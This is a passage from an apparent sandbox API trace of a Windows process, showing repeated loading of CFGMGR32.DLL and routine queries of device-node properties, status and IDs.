(hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0188.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0188.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0188.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0188.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0188.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0188.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0188.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0188.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0188.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0188.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0188.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0188.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0188.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0188.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0188.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0188.283] malloc (_Size=0x18) returned 0x196ef0d1a80 [0188.283] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0188.283] malloc (_Size=0x48) returned 0x196ef0fb720 [0188.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x511585b2, dwHighDateTime=0x1d9eb0c)) [0188.284] SetEvent (hEvent=0x248) returned 1 [0188.288] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0188.288] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0188.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0188.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0188.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0188.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0188.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0188.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0188.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0188.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0188.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0188.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0188.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0188.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0188.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0188.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0188.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0188.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0188.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0188.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0188.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0188.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0188.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0188.291] malloc (_Size=0x18) returned 0x196ef0d1e20 [0188.291] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0188.294] malloc (_Size=0x48) returned 0x196ef0fb950 [0188.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x511585b2, dwHighDateTime=0x1d9eb0c)) [0188.294] SetEvent (hEvent=0x248) returned 1 [0188.297] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0188.297] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0188.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0188.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0188.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0188.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0188.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0188.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0188.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0188.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0188.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0188.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0188.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0188.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0188.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0188.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0188.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0188.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0188.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0188.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0188.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0188.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0188.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0188.300] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0188.300] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x22, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0188.301] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0188.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5117eccb, dwHighDateTime=0x1d9eb0c)) [0188.301] SetEvent (hEvent=0x248) returned 1 [0188.305] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0188.305] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0188.305] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0188.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0188.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0188.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0188.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0188.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0188.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0188.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0188.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0188.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0188.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0188.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0188.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0188.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0188.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0188.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0188.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0188.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0188.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0188.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0188.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0188.308] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0188.308] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x22, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0188.309] malloc (_Size=0x48) returned 0x196ef0fc080 [0188.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5117eccb, dwHighDateTime=0x1d9eb0c)) [0188.309] SetEvent (hEvent=0x248) returned 1 [0188.529] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0188.529] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0188.530] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0188.530] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0188.530] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0188.530] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0188.530] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0188.530] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0188.530] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0188.531] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0188.531] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0188.531] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0188.531] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0188.531] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0188.531] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0188.531] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0188.532] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0188.532] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0188.532] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0188.532] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0188.532] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0188.532] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0188.533] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0188.533] malloc (_Size=0x18) returned 0x196ef0d1d80 [0188.533] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0188.534] malloc (_Size=0x48) returned 0x196ef0fb810 [0188.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x513bb041, dwHighDateTime=0x1d9eb0c)) [0188.535] SetEvent (hEvent=0x248) returned 1 [0188.539] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0188.539] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0188.539] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0188.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0188.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0188.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0188.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0188.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0188.540] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0188.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0188.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0188.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0188.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0188.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0188.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0188.541] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0188.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0188.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0188.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0188.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0188.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0188.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0188.542] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0188.543] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0188.543] CM_Get_Device_IDA (in: dnDevInst=0x23, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\ACPI0010\\2&DABA3FF&0") returned 0x0 [0188.543] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0188.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x513bb041, dwHighDateTime=0x1d9eb0c)) [0188.543] SetEvent (hEvent=0x248) returned 1 [0188.546] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0188.546] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0188.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0188.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0188.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0188.546] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0188.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0188.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0188.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0188.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0188.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0188.547] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0188.548] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0188.548] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0188.548] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0188.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0188.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0188.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0188.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0188.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0188.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0188.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0188.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0188.550] malloc (_Size=0x18) returned 0x196ef0d1960 [0188.550] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0188.550] malloc (_Size=0x60) returned 0x196ef0d0680 [0188.550] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0680, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0680, pulLength=0x67117d608) returned 0x0 [0188.551] free (_Block=0x196ef0d0680) [0188.551] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0188.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x513e11a0, dwHighDateTime=0x1d9eb0c)) [0188.551] SetEvent (hEvent=0x248) returned 1 [0188.554] malloc (_Size=0x18) returned 0x196ef0d1a20 [0188.554] SafeArrayPutElement (psa=0x196ee7bf720, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0188.554] free (_Block=0x196ef0d1a20) [0188.554] malloc (_Size=0x18) returned 0x196ef0d1d20 [0188.554] SafeArrayPutElement (psa=0x196ee7bf720, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0188.554] free (_Block=0x196ef0d1d20) [0188.555] malloc (_Size=0x18) returned 0x196ef0d1a20 [0188.555] SafeArrayPutElement (psa=0x196ee7bf720, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0188.555] free (_Block=0x196ef0d1a20) [0188.555] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855360 [0188.555] SafeArrayGetDim (psa=0x196ee7bf720) returned 0x1 [0188.555] SafeArrayGetLBound (in: psa=0x196ee7bf720, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0188.555] SafeArrayGetUBound (in: psa=0x196ee7bf720, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0188.555] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b62f0 [0188.555] SafeArrayGetDim (psa=0x196ee7bf720) returned 0x1 [0188.555] SafeArrayGetUBound (in: psa=0x196ee7bf720, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0188.555] SafeArrayGetElemsize (psa=0x196ee7bf720) returned 0x8 [0188.555] SafeArrayGetElement (in: psa=0x196ee7bf720, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0188.556] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e270, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0188.556] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e278, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0188.556] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e280, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0188.557] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b62f0) returned 1 [0188.557] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855360) returned 1 [0188.557] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0188.557] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0188.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0188.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0188.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0188.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0188.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0188.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0188.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0188.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0188.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0188.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0188.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0188.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0188.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0188.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0188.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0188.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0188.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0188.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0188.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0188.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0188.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0188.561] malloc (_Size=0x18) returned 0x196ef0d1f20 [0188.561] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | 